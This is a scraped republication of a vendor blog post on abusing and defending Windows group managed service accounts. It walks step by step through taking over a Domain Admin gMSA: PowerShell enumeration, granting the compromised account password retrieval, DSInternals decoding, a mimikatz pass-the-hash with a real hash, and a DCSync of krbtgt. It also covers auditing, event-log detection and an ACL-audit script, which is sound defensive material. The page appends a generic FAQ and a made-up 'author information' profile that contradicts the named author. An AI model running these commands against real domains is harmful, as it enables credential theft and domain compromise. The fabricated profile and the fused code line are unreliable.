Abusing and Securing Group Managed Service Accounts (2024)

Group Managed Service Accounts Overview

The traditional practice of using regular user accounts as service accounts puts the burden of password management on users. As a result, the account passwords often stay the same for years — which leaves them highly susceptible to brute force attacks and misuse. Group managed service accounts (gMSAs) offer a more secure way to run automated tasks, services and applications.

gMSA were introduced in Windows Server 2016 and can be leveraged on Windows Server 2012 and above. gMSA passwords are completely handled by Windows: They are randomly generated and automatically rotated. Moreover, the passwords do not have to be known by any user, since the service accounts themselves are ‘installed’ on the server that is to query the password information from Active Directory at run time. As a result, gMSAs are far less susceptible to misuse and compromise than user accounts being used as service accounts.

Group Managed Service Account Security

gMSAs are a specific object type in Active Directory: msDS-GroupManagedServiceAccount. These objects have special attributes associated with them related to their password and its rotation. Similar toLAPS, you’ll want to ensure that gMSA attributes are locked down to only the Active Directory objects that need to access them.

gMSA Attributes and Permissions

gMSAs have the following attributes:

  • msDS-ManagedPassword— A BLOB with the gMSA’s password
  • msDS-ManagedPasswordID— The key ID used to generate the current gMSA password
  • msDS-ManagedPasswordPreviousID— The key ID used to generate the previous gMSA password
  • msDS-GroupMSAMembership— A list of the objects that have permission to query the password for the gMSA
  • msDS-ManagedPasswordInterval— The interval (days) at which the password is rotated

Since the password information is stored in the msDS-ManagedPassword attribute, you’ll definitely want to know who in your environment is able to query the password. That information is set in the msDS-GroupMSAMembership attribute.

However, it’s a little more complicated than just that attribute, since Active Directory permissions come into play. If for whatever reason a user or object is configured to have permissions to query the password via the msDS-GroupMSAMembership account, they still need to have ‘Read’ permissions to the gMSA’s msDS-ManagedPassword attribute.

This means there are two avenues to securing gMSA passwords:

  • Ensure that only the necessary objects have the permission to query the password and that they exist in the msDS-GroupMSAMembership
  • Ensure that only administrative users who need access and computer accounts where gMSAs are installed have permission to read the attribute. Also, ensure that only administrators have the capability to modify the gMSA and its attributes, so no one can add themselves to the msDS-GroupMSAMembership attribute.

Ideally, you’d lock down gMSAs via both avenues to stop an attacker from having the option to exploit either one of the scenarios above. Below we’ll show how mismanaged permissions or configurations on a gMSA can lead to compromise of the account and privilege escalation or lateral movement.

Abusing the gMSA password

Abusing a gMSA is relatively simple conceptually. First, get its password using a tool like Mimikatz or by querying it directly due to insecure configurations in Active Directory. Since gMSAs are service accounts, they’re usually relatively privileged, so then you’ll usually be able to move laterally or escalate.

Let’s walk through an example scenario.

1. First we compromise the ordinary Windows user account ‘notadmin’ through a technique like phishing. This account has minimal privileges in Active Directory, but is a local administrator on the machine we’ve landed on.

2. Next, we’ll try to find out whether any gMSA exist. That’s very simple to accomplish if you have access to the Windows PowerShell cmdlet Running a simple script gets us all the managed service accounts in Active Directory:

Get-ADServiceAccount -Filter *

Abusing and Securing Group Managed Service Accounts (1)

3. With some slight modifications to the script, we can identify who has access to query the gMSA passwords:

Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword

As we can see, only the Kevin Joyce account is able to query the passwords for these service accounts:

Abusing and Securing Group Managed Service Accounts (2)

4. We can narrow down the scope of the targets we want by checking to see if these service accounts are a member of any privileged groups, and from there we can dig deeper into the permissions set on one of the objects:

Get-ADServiceAccount -Filter * -Properties memberof

Looking at the results here, we can see that the gMSA service account is a member of Domain Admins, so this will be the one we’ll try to exploit.

Abusing and Securing Group Managed Service Accounts (3)

5. By modifying a script provided in a post on Microsoft LAPS, we were able to get a listing of all objects that have permissions over a managed services account that included Full Control, Write All Properties or Write Property for the specific gMSA attribute. The output is below, and the script is linked at the bottom.

Abusing and Securing Group Managed Service Accounts (4)

6. As you can see, the notadmin account has Full Control on the gMSA account. This gives us the capability to modify the msDS-GroupMSAMembership attribute, which will let us retrieve the password for the managed service account:

Set-ADServiceAccount -Identity gmsa -PrincipalsAllowedToRetrieveManagedPassword notadmin

Abusing and Securing Group Managed Service Accounts (5)

7. Now that we’re actually able to query the password, let’s see what we can do with it:

Get-ADServiceAccount -Identity gmsa -properties msds-ManagedPassword

Abusing and Securing Group Managed Service Accounts (6)

$pwd = Get-ADServiceAccount -identity gMSA -Properties msds-ManagedPassword

8. The value stored in the attribute is a BLOB that contains the data for the password, not the password itself, so we’ll have to decode the password using a tool like DSInternals:

$pw = ConvertFrom-ADManagedPasswordBlob $pwd.’msds-managedpassword’ConvertTo-NTHash $pw.securecurrentpassword

This gets us the SecureCurrentPassword and CurrentPassword. The CurrentPassword looks like nothing useful but that’s because all of the characters are UTF-16. The SecureCurrentPassword can be converted to a NTLM hash and used in a pass the hash attack with mimikatz to elevate our privileges.

Abusing and Securing Group Managed Service Accounts (7)

9. To pass the hash we just need to run mimikatz and use this command:

sekurlsa::pth /user:gmsa /domain:sbpmlab.net /ntlm:a99afa608b79a3c539a969212c505ea9

Abusing and Securing Group Managed Service Accounts (8)

10. Now that we have a shell being run as the gMSA service account which was a member of Domain Admins, we can do whatever we please to compromise Active Directory. One of the quickest, but probably nosiest ways we can do that, is to execute a DCSync attack and steal the hash of the krbtgt account:

lsadump::dcsync /user:krbtgt /domain:sbpmlab.net

Abusing and Securing Group Managed Service Accounts (9)

gMSA Protection & Monitoring

There are strategies you can use to prevent and detect gMSA abuse.

Permissions

The most obvious and arguably the most important protection you can put in place is to ensure that proper permissions are set on your group managed service accounts. Understanding who has write access to these objects is pertinent to protecting them; someone who can add themselves to the attribute that controls who can query the password in theory already has access to take over this account and abuse its privileges.

The next thing would be to understand who has the capability to query the passwords on these accounts and exactly who needs such access. In reality, the only account that should be able to get a gMSA’s password is the computer account that the gMSA is installed on.

Event Logs

There is an event you can look for in the native event logs that will help you identify who is querying the passwords of gMSA accounts. If you enable the ‘Audit directory service access’ policy for your domain and configure a SACL on the gMSAs you want to monitor, you can generate event logs when people query the msDS-ManagedPassword attribute:

Abusing and Securing Group Managed Service Accounts (10)

Turning this setting on and creating a new SACL will generate an event log with event ID 4662; it looks like this:

Abusing and Securing Group Managed Service Accounts (11)

As you can see, this has logged that the ‘notadmin’ account read a property on the gMSA account. The properties read are the GUIDs stored in the schema for Active Directory, but using ADSI edit we can see that the GUID highlighted resolves to the msDS-ManagedPasssword attribute.

Abusing and Securing Group Managed Service Accounts (12)

Assuming you may have some type of event log forwarding or a SIEM solution, these logs would be invaluable for determining who is accessing these attributes.

Netwrix StealthDEFEND

Another option is a tool like Netwrix StealthDEFEND. Netwrix StealthDEFEND doesn’t rely on native event logs and it can detect gMSA password access and high-risk permissions assignments right out of the box. For example, the scenario shown above would generate the following threat when the ‘notadmin’ account queried the password:

Abusing and Securing Group Managed Service Accounts (13)

Moreover, with Netwrix StealthDEFEND, you can easily build a playbook to execute when gMSA abuse is detected. The playbook can involve multiple steps, such as requiring the perpetrator user account to respond to an MFA request, disabling the account or creating a ServiceNow incident.

Appendix

gMSA permissions code:

<#Author: Kevin JoyceRequirements: Active Directory PowerShell module, Domain Administrator privileges (to ensure the capability to get attribute GUIDs and view all permissions on all gMSA objects)Description: Looks up permissions within Active Directory on a gMSA to determine access to modify the gMSA attribute (ms-ds-GroupMSAMembership).Usage: populate the $target variable with the samaccountname of a gMSA.To output the results to a text file run the following .gMSA_Permissions_Collection.ps1 > output.txt#>Import-Module ActiveDirectory##Get the GUID of the extended attribute ms-ds-GroupMSAMembership from Schema$schemaIDGUID = @{}Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-ds-GroupMSAMembership)' -Properties name, schemaIDGUID |ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}<# **REPLACE DN VARIABLE BELOW**Declare the samaccountname of the gMSA to search for#>$target = 'gmsa'##Get distinguished name of all gMSAs objects from the OU$gMSAs = Get-ADServiceAccount -identity $target<#Get objects that have specific permissions on the target(s): Full Control(GenericAll) Write all Properties (WriteProperty where ObjectType = 00000000-0000-0000-0000-000000000000 #>Set-Location ad:foreach ($gmsa in $gMSAs){(Get-Acl $gmsa.distinguishedname).access | Where-Object { (($_.AccessControlType -eq 'Allow') -and ($_.activedirectoryrights -in ('GenericAll') -and $_.inheritancetype -in ('All', 'None')) -or (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -eq '00000000-0000-0000-0000-000000000000')))} |ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -autosize }<#Get objects that have specific permissions on the target(s) and specifically the gMSA attribute:WriteProperty #>Set-Location ad:foreach ($gmsa in $gMSAs){(Get-Acl $gmsa.distinguishedname).access | Where-Object {(($_.AccessControlType -eq 'Allow') -and (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -in $schemaIDGUID.Keys)))} |ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -AutoSize}

view rawgMSA_Permissions_Collection.ps1hosted withbyGitHub

FAQ

What is a gMSA?

Similar to managed service accounts (MSA), group managed service accounts (gMSAs) are managed domain accounts that are used to help secure services and access management. The gMSA functionality provides automatic password management by the domain controller (DC), simplified service principal name (SPN) management, and the ability to delegate the management to other administrators, which improves Active Directory security and minimizes accounts with privileged access.

What is the difference between MSAs and gMSAs?

Unlike an MSA, a gMSA can be associated with multiple computers.

How to find a group managed service account?

To get a list of gMSAs on your domain controller, open Server Manager > Tools > Active Directory Users and Computers > Managed Service Accounts.

Can a gMSA be a Domain Admin?

Yes, a gMSA account can be member of Domain Admins, though this practice can be dangerous for information security.

How can I create a gMSA?

Group managed service accounts are created with the New-ADServiceAccount cmdlet.

Abusing and Securing Group Managed Service Accounts (14)

Kevin Joyce

Senior Technical Product Manager at Netwrix. Kevin is passionate about cyber-security and holds a Bachelor of Science degree in Digital Forensics from Bloomsburg University of Pennsylvania.

Abusing and Securing Group Managed Service Accounts (15)

Abusing and Securing Group Managed Service Accounts (2024)

FAQs

Are group managed service accounts secure? ›

Group Managed Service Accounts (gMSAs) provide a higher security option for non-interactive applications/services/processes/tasks that run automatically but need a security credential.

What is a disadvantage of the managed service account type? ›

Managed service accounts can't be shared between multiple computers, and they can't be used in server clusters where a service is replicated on multiple cluster nodes.

What is the difference between managed service accounts and group managed service accounts? ›

Groups Managed Service Accounts, or gMSAs, are a type of managed service account that offers more security than traditional managed service accounts for automated, non-interactive applications, services, processes, or tasks that still require credentials.

How to get password for group managed service account? ›

For a gMSA, the domain controller computes the password on the key that the Key Distribution Services provides, along with other attributes of the gMSA. Member hosts can obtain the current and preceding password values by contacting a domain controller.

What are the limitations of a group managed service account? ›

Group Managed Service Accounts

But these account types have limitations: Computer account is limited to one domain server and the passwords are managed by the computer. Managed Service Account is limited to one domain server and the passwords are managed by the computer.

What are the risks of service accounts? ›

Service accounts are often neglected because updating or changing credentials is risky. Any changes can affect running services within a chain of dependencies, causing unforeseen disruptions. It's difficult, if not impossible for many, to map and keep track of business services that rely on these accounts.

Why use a gMSA account? ›

gMSA accounts generate Service Principal Names (SPNs) automatically, simplifying the process of setting up and configuring authentication for SQL Server instances. This ensures that applications and clients can securely connect to the appropriate services without the complexities of manual SPN management.

Are service accounts a security risk? ›

But while service accounts are essential, they are also one of the most underappreciated security risks facing organizations today. Here's why: Forgotten but Pervasive: Service accounts are often created during the deployment of new applications or services and then forgotten.

Do gMSA accounts have passwords? ›

gMSA's password is calculated on-demand by Domain Controller (KDC) and automatic password changes are done periodically. In contrast to passwords used by standard domain user accounts, gMSA passwords are not stored locally on computers nor exposed to users.

What is the key difference between a managed service account and a group managed service account quizlet? ›

What is the key difference between a managed service account and a group managed service account. A managed service account can be used on only one computer in a domain. Click on the container in Active Directory where group managed service accounts are created by default.

How can you tell the difference between a user account and a service account? ›

Service accounts are not associated with any human identity. A user account is an account tied to a human identity. A standard user account represents a human identity and typically has an associated password to prevent authorized access.

What is the difference between a normal account and a service account? ›

A service account provides an identity for a system service. In contrast, a user account identifies a person. Standard user accounts typically have human names like “John Smith,” whereas service accounts have descriptive names like “NetworkService” or sometimes no name at all.

How do I test a group managed service account? ›

To check it, Go to → Server Manager → Tools → Active Directory Users and Computers → Managed Service Accounts. The result should come “True” after running the second command, as shown in the screenshot given below. Step 4 − Go to service properties, specify that the service will be run with a gMSA account.

How often does managed service account password change? ›

It does not need the administrator to manage the password as this role is performed by the Microsoft Windows operating system. Randomly generated complex passwords are automatically changed every 30 days which reduce the risk of brute force and dictionary attacks.

Can you change the password on a managed service account? ›

The Reset-ADServiceAccountPassword cmdlet resets the password for the standalone managed service account (MSA) on the local computer. You must run this cmdlet on the computer where the standalone MSA is installed. Reset is not supported for group managed service accounts.

Can service accounts be compromised? ›

Attackers use multiple tactics to compromise service accounts and misuse their privileged access. This series of blog posts details some of the most common ones: Service Account Attack: LDAP Reconnaissance with PowerShell. Extracting Service Account Passwords with Kerberoasting.

Why are service accounts insecure? ›

The high access privileges assigned to service accounts pose another risk. Since service accounts are granted extensive permissions, compromising these accounts can provide attackers with broad access to sensitive data and critical systems.

What are the security risks of a shared account? ›

A security downside to using shared accounts across multiple users is that they lack the visibility, certainty, and accuracy about a particular session that singularly-owned accounts do.

Top Articles
Latest Posts
Article information

Author: Duane Harber

Last Updated:

Views: 6352

Rating: 4 / 5 (51 voted)

Reviews: 82% of readers found this page helpful

Author information

Name: Duane Harber

Birthday: 1999-10-17

Address: Apt. 404 9899 Magnolia Roads, Port Royceville, ID 78186

Phone: +186911129794335

Job: Human Hospitality Planner

Hobby: Listening to music, Orienteering, Knapping, Dance, Mountain biking, Fishing, Pottery

Introduction: My name is Duane Harber, I am a modern, clever, handsome, fair, agreeable, inexpensive, beautiful person who loves writing and wants to share my knowledge and understanding with you.